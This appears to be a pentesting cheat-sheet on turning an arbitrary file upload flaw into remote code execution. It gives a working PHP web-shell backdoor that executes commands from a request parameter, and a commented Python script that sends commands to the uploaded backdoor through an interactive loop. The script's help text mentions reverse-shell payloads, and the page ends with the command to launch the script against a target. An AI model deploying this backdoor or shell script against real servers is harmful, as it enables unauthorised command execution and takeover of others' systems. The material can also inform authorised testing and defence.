Arbitrary File Upload

After determine that the application allows arbitrary file upload, we can't try Remote Code Execution (RCE).

Create a backdoor payload

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

Try to identify where the uploaded path

For example /api/uploads.

Create a script to obtain a shell

web_shell.py

import argparse, time, requests, os # imports four modules argparse (used for system arguments), time (used for time), requests (used for HTTP/HTTPs Requests), os (used for operating system commands)
parser = argparse.ArgumentParser(description="Interactive Web Shell for PoCs") # generates a variable called parser and uses argparse to create a description
parser.add_argument("-t", "--target", help="Specify the target host E.g. http://<TARGET IP>:3001/uploads/backdoor.php", required=True) # specifies flags such as -t for a target with a help and required option being true
parser.add_argument("-p", "--payload", help="Specify the reverse shell payload E.g. a python3 reverse shell. IP and Port required in the payload") # similar to above
parser.add_argument("-o", "--option", help="Interactive Web Shell with loop usage: python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes") # similar to above
args = parser.parse_args() # defines args as a variable holding the values of the above arguments so we can do args.option for example.
if args.target == None and args.payload == None: # checks if args.target (the url of the target) and the payload is blank if so it'll show the help menu
    parser.print_help() # shows help menu
elif args.target and args.payload: # elif (if they both have values do some action)
    print(requests.get(args.target+"/?cmd="+args.payload).text) ## sends the request with a GET method with the targets URL appends the /?cmd= param and the payload and then prints out the value using .text because we're already sending it within the print() function
if args.target and args.option == "yes": # if the target option is set and args.option is set to yes (for a full interactive shell)
    os.system("clear") # clear the screen (linux)
    while True: # starts a while loop (never ending loop)
        try: # try statement
            cmd = input("$ ") # defines a cmd variable for an input() function which our user will enter
            print(requests.get(args.target+"/?cmd="+cmd).text) # same as above except with our input() function value
            time.sleep(0.3) # waits 0.3 seconds during each request
        except requests.exceptions.InvalidSchema: # error handling
            print("Invalid URL Schema: http:// or https://")
        except requests.exceptions.ConnectionError: # error handling
            print("URL is invalid")

Run the script to obtain an interactive weh shell

python3 web_shell.py -t http://SERVER_IP:PORT/uploads/backdoor.php -o yes